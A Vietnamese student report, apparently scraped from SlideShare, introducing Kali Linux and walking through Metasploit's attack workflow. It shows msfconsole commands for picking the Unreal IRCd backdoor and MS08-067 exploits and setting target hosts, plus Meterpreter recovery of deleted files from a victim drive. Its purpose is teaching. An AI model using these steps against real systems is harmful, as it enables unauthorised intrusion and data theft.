chúng ta đã xoá và 2 cái còn lại.
Bây giờ nếu chỉ muốn khôi phục các tệp txt, đơn giản hãy gõ lệnh “set FILES txt”
và chạy lại quá trình khai thác:
Nó đã khôi phục lại tệp txt và lưu ở thư mục /root/.msf4/loot. Nếu chúng ta truy cập
vào thư mục đó thì chúng ta có thể tìm và mở được tệp vừa lưu:
Và xem tệp:
… Thế còn nếu mà muốn khôi phục tệp pdf thì sao?
Làm lại lần nữa, gõ lệnh “set FILES pdf” và chạy lại khai thác:
Cũng như lần trước thì tệp được khôi phục đã được lưu tại thư mục loot. Chúng ta
có thể mở tệp PDF ra để xác nhận rằng nó đã được khôi phục thành công:
Bạn cũng có thể đặt module để khôi phục nhiều kiểu tệp cùng một lúc bằng cách liệt
kê tất cả những gì bạn muốn trong biến FILES và phân tách chúng bằng dấu phẩy.
Cuối cùng, các tệp cũng có thể được khôi phục bằng mã số ID (nhưng ko đề cập ở
đây).
Recovery File Module Wrap-Up
(theo Tuấn dịch thì nó là kết thúc module khôi phục tệp)
(Đoạn đầu này hiểu là: ví dụ như ổ đĩa chỉ chứa dữ liệu bình thường thì module này
sẽ hoạt động khá là tốt, chứ như những ổ đĩachính, chẳng hạn như ổ C có các tệp hệ
thống, chương trình ấy, thì nó sẽ chứa khá nhiều tệp cần khôi phục và module hoạt
động có vẻ không ổn)
Tôi đã thử chạy trên ổ đĩa khởi động máy ảo Windows 7 và nhận thấy rằng nó mất
rất nhiều thời gian để chạy. Có thể nó vẫn tìm ra được hơn nghìn tệp đấy, nhưng ta
thấy điều này không khả thi trong cuộc sốngthực, vì nó sẽ tạo ra rất nhiều lưu lượng
truy cập mạng đáng ngờ.
Đây là hình ảnh chụp được gói tin mạng chạy trên một ổ đĩa có nhiều tệp bị xoá:
Nhưng mà thực sự thì có bao nhiêu người ghi lại và phân tích lưu lượng mạng này?
Module này hoạt động rất tốt trên các ổ đĩanhỏ mà chứa ít tệp bị xoá. Nó rất nhanh
và hiệu quả.
3.2. Tổng kết
Kali không dành cho tất cả mọi người. Đây không phải là bản phân phốiLinux thông
thường để chạy trên máy tính xách tay bìnhthường. Kali được thiết kế để chạy dưới
quyền root. Nó không được bảo mật và được cấu hình giống an toàn như một bản
phân phối Linux thông thường. Kali Linux là một công cụ tấn công, không phải là
một công cụ phòng thủ.
Kali cũng không phải là trò đùa. Nếu thông thạo kĩ năng, công cụ sử dụng để tấn
công mục tiêu Internet. Và khi gây ra một số thiệt hại thực sựvới các công cụ mà nó
đi kèm thì có thể gặp rắc rối thực sự với pháp luật và thậm chí là giang hồ đấy.
Với tất cả những gì đã trình bày ở trên, Kali vẫn là một công cụ tuyệt vời để các
chuyên gia bảo mật sử dụng chuyên nghiệp. Kali cũng có một số công cụ tuyệt vời
cho các nhà phát triển (đặc biệt là các nhà phát triển web) kiểm tra các ứng dụng của
họ trước khi chúng public.
TÀI LIỆU THAM KHẢO
 https://drive.google.com/file/d/1B27-sLwlS04FyFoTj2n6-
ISNkdSFkddD/view?usp=sharing (Basic Security Testing with Kali Linux)

More Related Content

What's hot

[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam
[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam
[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSamTiki.vn
 
Quản lý người dùng
Quản lý người dùngQuản lý người dùng
Quản lý người dùngGetfly CRM
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriEyüp ÇELİK
 
Báo cáo t hiết kế mạng doanh nghiệp
Báo cáo t hiết kế mạng doanh nghiệpBáo cáo t hiết kế mạng doanh nghiệp
Báo cáo t hiết kế mạng doanh nghiệpLe Trung Hieu
 
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPT
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPTBài 3: Triển khai dịch vụ Active Directory - Giáo trình FPT
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPTMasterCode.vn
 
[123doc.vn] xay dung he thong mang cho doanh nhiep nho
[123doc.vn]   xay dung he thong mang cho doanh nhiep nho[123doc.vn]   xay dung he thong mang cho doanh nhiep nho
[123doc.vn] xay dung he thong mang cho doanh nhiep nhoNguyễn Quân
 
bao cao linux
bao cao linuxbao cao linux
bao cao linuxbinhnv186
 
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...nataliej4
 
Slide bai giang_an_toan_va_bao_mat_thong_tin
Slide bai giang_an_toan_va_bao_mat_thong_tinSlide bai giang_an_toan_va_bao_mat_thong_tin
Slide bai giang_an_toan_va_bao_mat_thong_tinLang Codon
 
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSEC
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSECĐồ án Xây dựng hệ thống bảo mật mạng VPN/IPSEC
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSECnataliej4
 
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBU
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBUMô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBU
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBUBùi Việt Hà
 
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...nataliej4
 
Cach su dung Ubuntu
Cach su dung UbuntuCach su dung Ubuntu
Cach su dung UbuntuKien Ma
 
Giáo Trình Java Cơ Bản ( Vietnamese)
Giáo Trình Java Cơ Bản ( Vietnamese)Giáo Trình Java Cơ Bản ( Vietnamese)
Giáo Trình Java Cơ Bản ( Vietnamese)Đông Lương
 

What's hot (20)

[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam
[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam
[Khóa luận tốt nghiệp] - Tìm hiểu và triển khai Snort/SnortSam
 
Quản lý người dùng
Quản lý người dùngQuản lý người dùng
Quản lý người dùng
 
Đề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đ
Đề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đĐề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đ
Đề tài: Tìm hiểu hệ thống phát hiện xâm nhập IDS-SNORT, 9đ
 
MSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation YontemleriMSSQL Hacking ve Post Exploitation Yontemleri
MSSQL Hacking ve Post Exploitation Yontemleri
 
Báo cáo t hiết kế mạng doanh nghiệp
Báo cáo t hiết kế mạng doanh nghiệpBáo cáo t hiết kế mạng doanh nghiệp
Báo cáo t hiết kế mạng doanh nghiệp
 
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAYĐề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
Đề tài: Nghiên cứu kỹ thuật tấn công mạng LAN và giải pháp, HAY
 
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPT
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPTBài 3: Triển khai dịch vụ Active Directory - Giáo trình FPT
Bài 3: Triển khai dịch vụ Active Directory - Giáo trình FPT
 
[123doc.vn] xay dung he thong mang cho doanh nhiep nho
[123doc.vn]   xay dung he thong mang cho doanh nhiep nho[123doc.vn]   xay dung he thong mang cho doanh nhiep nho
[123doc.vn] xay dung he thong mang cho doanh nhiep nho
 
bao cao linux
bao cao linuxbao cao linux
bao cao linux
 
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
ChuyenDeANM ung dung he thong IDS securityonion vao giam sat moi truong mang ...
 
Đề tài: Hệ thống phát hiện cảnh báo nguy cơ tấn công mạng
Đề tài: Hệ thống phát hiện cảnh báo nguy cơ tấn công mạngĐề tài: Hệ thống phát hiện cảnh báo nguy cơ tấn công mạng
Đề tài: Hệ thống phát hiện cảnh báo nguy cơ tấn công mạng
 
Slide bai giang_an_toan_va_bao_mat_thong_tin
Slide bai giang_an_toan_va_bao_mat_thong_tinSlide bai giang_an_toan_va_bao_mat_thong_tin
Slide bai giang_an_toan_va_bao_mat_thong_tin
 
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSEC
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSECĐồ án Xây dựng hệ thống bảo mật mạng VPN/IPSEC
Đồ án Xây dựng hệ thống bảo mật mạng VPN/IPSEC
 
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBU
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBUMô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBU
Mô hình bài toán xếp TKB cho trường ĐH, CĐ và phần mềm TKBU
 
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...
BÁO CÁO ĐỒ ÁN MÔN HỌC ĐIỆN TOÁN ĐÁM MÂY ĐỀ TÀI: TÌM HIỂU VÀ SỬ DỤNG AMAZON WE...
 
Luận văn: Phương pháp tấn công chữ ký số: Rsa,Elgamal,Dss
Luận văn: Phương pháp tấn công chữ ký số: Rsa,Elgamal,DssLuận văn: Phương pháp tấn công chữ ký số: Rsa,Elgamal,Dss
Luận văn: Phương pháp tấn công chữ ký số: Rsa,Elgamal,Dss
 
Cach su dung Ubuntu
Cach su dung UbuntuCach su dung Ubuntu
Cach su dung Ubuntu
 
Đề tài: Thiết kế hệ thống mạng máy tính, HAY, 9đ - tải qua zalo=> 0909232620
Đề tài: Thiết kế hệ thống mạng máy tính, HAY, 9đ - tải qua zalo=> 0909232620Đề tài: Thiết kế hệ thống mạng máy tính, HAY, 9đ - tải qua zalo=> 0909232620
Đề tài: Thiết kế hệ thống mạng máy tính, HAY, 9đ - tải qua zalo=> 0909232620
 
Giáo Trình Java Cơ Bản ( Vietnamese)
Giáo Trình Java Cơ Bản ( Vietnamese)Giáo Trình Java Cơ Bản ( Vietnamese)
Giáo Trình Java Cơ Bản ( Vietnamese)
 
Mang vpn
Mang vpnMang vpn
Mang vpn
 

Similar to TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn

BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENA
BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENABÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENA
BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENAXuân Ngọc Nguyễn
 
2. Getting Comfortable with Kali Linux.pdf
2. Getting Comfortable with Kali Linux.pdf2. Getting Comfortable with Kali Linux.pdf
2. Getting Comfortable with Kali Linux.pdfMinhNguyenthi11
 
1.3 - cac cong cu.pdf
1.3 - cac cong cu.pdf1.3 - cac cong cu.pdf
1.3 - cac cong cu.pdfNhungNguynCm1
 
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaBao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaÂu Dương Bình
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingv7q3t
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananhVũ Anh
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1Anhh Hữu
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1Liên Hán
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctapLong Prồ
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2Con Ranh
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1Con Ranh
 
Bao cao thuc tap nguyen hoai huy
Bao cao thuc tap   nguyen hoai huyBao cao thuc tap   nguyen hoai huy
Bao cao thuc tap nguyen hoai huyhoaihuysc
 
cài đặt metasploit
cài đặt metasploitcài đặt metasploit
cài đặt metasploitLê Lãnh
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System HackingHuynh Khang
 
Báo cáo system hacking
Báo cáo system hackingBáo cáo system hacking
Báo cáo system hackingHuynh Khang
 
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxHướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxLê Lãnh
 

Similar to TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn (20)

Tuan 3
Tuan 3Tuan 3
Tuan 3
 
BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENA
BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENABÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENA
BÁO CÁO ĐỀ TÀI TUẦN 1 - ATHENA
 
2. Getting Comfortable with Kali Linux.pdf
2. Getting Comfortable with Kali Linux.pdf2. Getting Comfortable with Kali Linux.pdf
2. Getting Comfortable with Kali Linux.pdf
 
1.3 - cac cong cu.pdf
1.3 - cac cong cu.pdf1.3 - cac cong cu.pdf
1.3 - cac cong cu.pdf
 
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang KhoaBao cao thuc tap tuan 1 Athena Tran Dang Khoa
Bao cao thuc tap tuan 1 Athena Tran Dang Khoa
 
Tuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hackingTuan vq bao cao thuc tap_ system hacking
Tuan vq bao cao thuc tap_ system hacking
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Vu tuananh
Vu tuananhVu tuananh
Vu tuananh
 
Báo cáo lần 1
Báo cáo lần 1Báo cáo lần 1
Báo cáo lần 1
 
Report athena week 1
Report athena week 1Report athena week 1
Report athena week 1
 
Bao caothuctap
Bao caothuctapBao caothuctap
Bao caothuctap
 
SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2SYSTEM HACKING - TUẦN 2
SYSTEM HACKING - TUẦN 2
 
SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1SYSTEM HACKING - TUẦN 1
SYSTEM HACKING - TUẦN 1
 
Bao cao thuc tap nguyen hoai huy
Bao cao thuc tap   nguyen hoai huyBao cao thuc tap   nguyen hoai huy
Bao cao thuc tap nguyen hoai huy
 
cài đặt metasploit
cài đặt metasploitcài đặt metasploit
cài đặt metasploit
 
Slide báo cáo: System Hacking
Slide báo cáo: System HackingSlide báo cáo: System Hacking
Slide báo cáo: System Hacking
 
Báo cáo system hacking
Báo cáo system hackingBáo cáo system hacking
Báo cáo system hacking
 
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docxHướng dẫn cài đặt kali linux trên máy ảo vmware.docx
Hướng dẫn cài đặt kali linux trên máy ảo vmware.docx
 

TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX - Thái Tuấn

  • 1. BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ BÁO CÁO BÀI TẬP LỚN TÌM HIỂU VỀ METASPLOIT TRONG KALI LINUX Học phần : An Toàn Hệ Điều Hành Giảng viên hướng dẫn : Đồng Thị Thuỳ Linh Sinh viên thực hiện : Lưu Thái Tuấn – AT14E Phạm Thị Mừng – AT14I Hà Cảnh Dương – AT13I Nguyễn Mạnh Cường – AT13H Vũ Việt Anh – AT14C Hà Nội, 2020
  • 2. Nhận xét của giảng viên: ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… ……………………………………………………………………………………… Chữ ký của giảng viên
  • 3. MỤC LỤC MỤC LỤC.........................................................................................................3 LỜI MỞ ĐẦU...................................................................................................5 I. TỔNG QUAN VỀ HDH KALI LINUX.....................................................5 1.1. Nguồn gốc ra đời Kali Linux ................................................................6 1.2. Kali Linux có gì?..................................................................................6 1.3. Ưu điểm của Kali Linux .......................................................................7 II. METASPLOIT TRONG KALI LINUX....................................................7 2.1. Metasploit là gì?...................................................................................7 2.2. Sử dụng Metasploit ..............................................................................8 2.2.1. Picking an Exploit:.....................................................................10 2.2.2. Setting Exploit Options:.............................................................12 2.2.3. Picking a Payload:......................................................................17 2.2.4. Setting Payload Options:............................................................19 2.2.5. Running the Exploit: ..................................................................20 2.2.6. Connecting to a Remote Session:................................................22 III. METERPRETER SHELL .....................................................................23 3.1. Các câu lệnh cơ bản............................................................................23 3.1.1. Core Commands.........................................................................25 3.1.2. File System Commands ..............................................................26 3.1.3. Network Commands...................................................................29 3.1.4. System Commands.....................................................................29
  • 4. 3.2. Tổng kết ............................................................................................43 TÀI LIỆU THAM KHẢO...............................................................................45
  • 5. LỜI MỞ ĐẦU Linux hay nhân Linux là một HĐH mã nguồn mở được giới thiệu lần đầu tiên vào năm 1991 với giấy phép công cộng GNU. Khác với HĐH Windows của Microsoft hay HĐH OSX củahãng Apple, Linux là một nhân HĐH mã nguồn mở và được chia sẻ hoàn toàn miễn phí. Từđây các bản phân phối(distro) của HĐH Linux được phát triển và dần hoàn thiện, phát triển thành một HĐH hoàn chỉnhkhi đưa đến tay người dùng. Trong số các bản được phát triển và phân phốiđó, có Kali Linux là một distro được tối ưu hóa cho công việc hacking và được tíchhợp sẵn các côngcụ để kiểm tra – khai thác các lỗ hổng về bảo mật. Kali Linux về cơ bản là một bản phân phối của Debian Linux, nó tích hợp sẵn các công cụ bảo mật cực kì mạnh mẽ, cùng với các công cụ được sắp xếp theo từng chuyên mục giúp nâng cao khả năng hoạt động hiệu quả. Kali Linux là một HĐH rất hữu ích đối với những chuyên gia đánh giá bảo mật, là một HĐH tập hợp và phân loại gần như tất cả các công cụ thiết yếu nhất mà bất kỳ một chuyên gia bảo mật nào cũng cần dùng đến khi tác nghiệp. Thật khó để ngày nay tìm được một người nào học về an toàn thông tin mà không biết về hệ điều hành Kali Linux. I. TỔNG QUAN VỀ HDH KALI LINUX
  • 6. 1.1. Nguồn gốc ra đời Kali Linux Backtrack bắt đầu xuất hiện vào năm 2006 và trong nhiều năm qua nó đã không ngừng cải tiến và phát triển để đạt được một vị trí nhất định trong cộng đồng hacker và những người làm bảo mật trên khắp thế giới. Tháng 3 năm 2013, Offensive Security đã công bố phiên bản tiến hóa của hệ điều hành BackTrack, tên của nó là Kali (được xem như phiên bản BackTrack 6), Kali là tên nữ thần của người Hindu, hàm ý sự biến đổi và khả năng hủy diệt hay có lẽ là tên một môn võ thuật của người Philippine … Có thể nói, Kali Linux là 1 bản nâng cấp toàn diện của Backtrack. Phiên bản Kali Linux 1.x có tên là Kali Moto, bản 2.0 gọi là Kali Sana. Từ Sau năm 2016, Kali Linux đã không cònđặt tên như thế nữa, mà thay vào đó nó được đặt tên dựa vào năm phát hành và số cập nhật trong năm, gọi chung là Rolling replease. Phiên bản mới nhất là Kali Linux 2020.2. 1.2. Kali Linux có gì?
  • 7.  Nó có rất nhiều công cụ kiểm thử bảo mật (trên 600 công cụ hacking, pentest...)  Nó có những công cụ thu nhập thông tin mạng như Nmap và Wireshark.  Kali cũng có các côngcụtập trung tấn côngkhai thác vào WiFi như Aircrack- ng, Kismet và Pixie.  Đối với các nhu cầu kiểm thử tấn công khai thác mật khẩu, có những công cụ như Hydra, Crunch, Hashcat và John the Ripper. Sau đó, còn có các bộ framework tập hợp các quy trình và tính năng nâng cao như: Metasploit, Burp Suite, ZenMap… Đó chỉ là một phần nhỏ các công cụ bảo mật có sẵn theo mặc định với Kali Linux. Chúng ta sẽ cần thời gian để làm quen hết với chúng. 1.3. Ưu điểm của Kali Linux  Do phát triển trên hệ điều hành Debian, nên Kali có thể sử dụng các repository của Debian hỗ trợ việc cài đặt được nhiều phần mềm và cập nhật phần mềm nhanh chóng.  Kali Linux liên tục cải tiến khả năng tương thích với thiết bị phần cứng của rất nhiều loại như điện thoại, raspberry, laptop, server, cloud… đảm bảo có thể cài đặt trên bất kì thiết bị nào.  Hỗ trợ mạng wifi (không dây) cực kì tốt với Kali Linux, điều này giúp các chuyên gia bảo mật có thể thực hiện tấn công và kiểm thử khả năng bảo mật của Wifi.  Tài liệu hướng dẫn sử dụng Kali Linux cũng rất vô cùng phong phú, chúng ta chỉ cần Google là ra liền. (đa phần là tiếng Anh) II. METASPLOIT TRONG KALI LINUX Trong bài này, chúng ta sẽ cùng tìm hiểu về Metasploit. 2.1. Metasploit là gì?
  • 8. Metasploit là 1 nền tảng framework toàn diện cho việc thử nghiệm, khai thác các lỗ hổng bảo mật. Nó chứa hơn ngàn lỗ hổng khai thác, hàng nghìn payload và nhiều bộ mã hoá. (payload: một đoạn codecủamalware dùng để thực hiện hành vi độc hại nào đấy trên máy của nạn nhân) 2.2. Sử dụng Metasploit - Cách khởi động Metasploit trong Kali Linux: /Kali Linux/Top Ten Security Tools/Metasploit framework /Kali Linux/Exploitation Tools/Metasploit Hoặc chỉ cần vào Terminal gõ msfconsole. Một khi mà vào được Metasploit bạn sẽ thấy được màn hình chính (như trên) và được đưa ra một câu nhắc lệnh: msf> Sẽ hơi rắc rối xíu nếu như trước đó bạn chưa từng dùng Metasploit, nhưng một khi mà bạn đã quen với cách nó làm việc, bạn có thể làm vài việc thú vị với nó. Về cở bản, dùng Metasploit để tấn công một mục tiêu hệ thống thường bao gồm:
  • 9. 1. Picking an exploit (tức là lựa chọn khai thác lỗ hổng) 2. Setting Exploit Options (thiết lập cài đặt khai thác) 3. Picking a payload (hiểu là lựa chọn mã độc) 4. Setting payload options (thiết lập cho mã độc) 5. Running the exploit (Bước này có thể là khởi chạy khai thác) 6. Connecting to the Remote System (kết nối tới một hệ thống từ xa, có thể là 1 máy tính) 7. Performing Post Exploitation Processes (thực hiện các quy trình khai thác) Đoạn ảnh chụp màn hình dưới đây là một ví dụ của quá trình này, nhưng không sao, chúng tôi sẽ chỉ rõ chi tiết các quá trình dưới đây. Tuỳ vào loại lỗ hổng bảo mật, một khi mà quá trình khai thác đã hoàn thành chúng ta thường sẽ nhận được kết quả: 1 Remote Shell hoặc 1 Meterpreter Shell. - Remote Shell: chương trình dòng lệnh trên Linux, có thể dùng để thực thi các lệnh trên hệ thống từ xa. - Meterpreter Shell: chứa nhiều chương trình và công cụ mà chúng ta có thể chạy để thu thập thông tin từ máy mục tiêu, điều khiển các thiết bị như webcam và microphone, hay thậm chí là dùng thế mạnh này để chiếm được sâu hơn vào hệ thống mạng. Và trong các trường hợp thì Meterpreter Shell sẽ có lợi hơn. (Chúng ta sẽ nói về Meterpreter Shell sau.) Ta sẽ nói về 5 bước đầu tiên:
  • 10. 2.2.1. Picking an Exploit: Để xem tất cả các lỗ hổng bảo mật, chỉ cần gõ: show exploits từ dấu nhắc lệnh msf: Metasploit cho phép bạn tìm kiếm các lỗ hổng theo nhiều cách, bằng nền tảng, hoặc kể cả là CVE (Common Vulnerabilities and Exposures) và bugtrack numbers. CVE: hiểu như là 1 cơ sở dữ liệu về lỗ hổng bảo mật, dùng để đối chiếu thông tin giữa các công cụ và dịch vụ bảo mật khác nhau. Gõ help search để xem các tuỳ chọn trợ giúp: Để tìm theo tên thì chỉ cần nhập tên và tìm. Ví dụ như Metasploit có lỗ hổng MS13- 069: Để xem một số CVE ID cụ thể:
  • 11. Để xem thông tin khai thác cho một chương trình cụ thể chỉ cần nhập tên của nó: msf> search unreal Khi mà bạn thấy một lỗ hổng mà bạn muốn biết thêm thông tin, chỉ cần chép và dán vào đủ tên đường dẫn và dùng lệnh info: msf > info exploit/unix/irc/unreal_ircd_3281_backdoor Điều này sẽ hiện đủ thông tin về lỗ hổng bạn đang cần:
  • 12. Màn hình thông tin này hiển thị tên tác giả, tổng quan ngắn gọn (not shown) cùng với các tuỳ chọncó thể đặt, mộtmô tả, các trang web bảo mật để tham chiếu (shown). Như ở hình trên, chúng tôi đặt một số tuỳ chọn cho việc khai thác, dẫn chúng tôi vào phần tiếp theo. Tuy nhiên trước khi thiết đặt các tuỳ chọn cho khai thác, chúng ta cần “sửdụng” nó. Khi mà chúng ta đã có lỗ hổng khai thác chúng ta cần, chúng ta cần chạy lệnh “use” cùng với tên lỗ hổng khai thác. Lại chép và dán lại đường dẫn lỗ hổng và công việc sẽ được thực hiện: Bây giờ chúng ta đang khai thác lỗ hổng rồi, cơ mà sao để có thể thiết lập tuỳ chọn nhỉ? 2.2.2. Setting Exploit Options: Thiết lập tuỳ chọn trong Metasploit rất đơn giản, chỉ cần dùng lệnh set và rồi tên biến và giá trị: set <Variable Name> <Value> LHOST Local Host, hay hiểu là IP của máy Kali chúng ta đang cài RHOST Remote Host, hiểu là IP của máy mục tiêu (máy của nạn nhân) LPORT Port chúng ta dùng ở máy Kali RPORT Port chúng ta tấn công máy nạn nhân Để xem biến nào có thể đặt, dùng lệnh show options:
  • 13. Lỗ hổng này chỉ dùng 2 biến chính, RHOST và RPORT. RHOST là máy từ xa mà chúng ta tấn công và RPORT là số cổng từ xa. Chúng ta sẽ đặt giá trị cho RHOST bằng cách dùng lệnh set. Giả sử như nếu IP máy tấn công là 192.168.0.20 thì chúng ta dùng lệnh như sau: Nếu chúng ta chạy lệnh show options thêm lần nữa thì ta sẽ thấy giá trị của biến đã được đặt: Đó là tất cả những gì bạn cần để đặt cho quá trình khai thác. Giờ bạn có thể dùng lệnh “exploit” để thực thi nó. Multiple Target Types (nhiều loại mục tiêu)
  • 14. Hệ thống cửa hậu Ureal khá dễ sử dụng. Vài biến của sự khai thác này bạn cần phải cài đặt, nó còn có các tùy biến khác để bạn tùy chỉnh thêm Khi bạn dùng Metasploit, bạn sẽ thấy một số có nhiều loại mục tiêu có thể tấn công, và đường dẫn chính xác cần được đặt để quá trình khai thác hoạt động chính xác. Để xem các mục tiêu, gõ “show targets”. Ở quá trình khai thác trên, mục tiêu là tự động, nên là chúng ta không cần đặt nó. Nhưng ở những cái khác, chúng có nhiều mục tiêu và chúng ta cần chọn mục tiêu chính xác. Getting a remote shell on a Windows XP Machine (Nhận 1 remote shell ở máy Windows XP) Chúng ta đã xem qua một trong những cách khai thác Linux, và giờ sẽ là khai thác lỗ hổng ms08-067, một trong các cách khai thác Windows phổ biến. 1. Để bắt đầu, hãy dùng khai thác sau: msf > use exploit/windows/smb/ms08_067_netapi 2. Giờ hãy nhập: “show options”
  • 15. Để ý là phần target (mục tiêu) thường mặc định sẽ đặt là “Automatic Targeting” (tự động ngắm mục tiêu). Tôiđã có các kết quả khác nhau khi dùng tự động ngắm mục tiêu và đôi khi mọi thứ hoạt động tốt hơn nếu bạn tự đặt mục tiêu chính xác. 3. Nếu chúng ta muốn đặt mục tiêu cụ thể, “show targets”
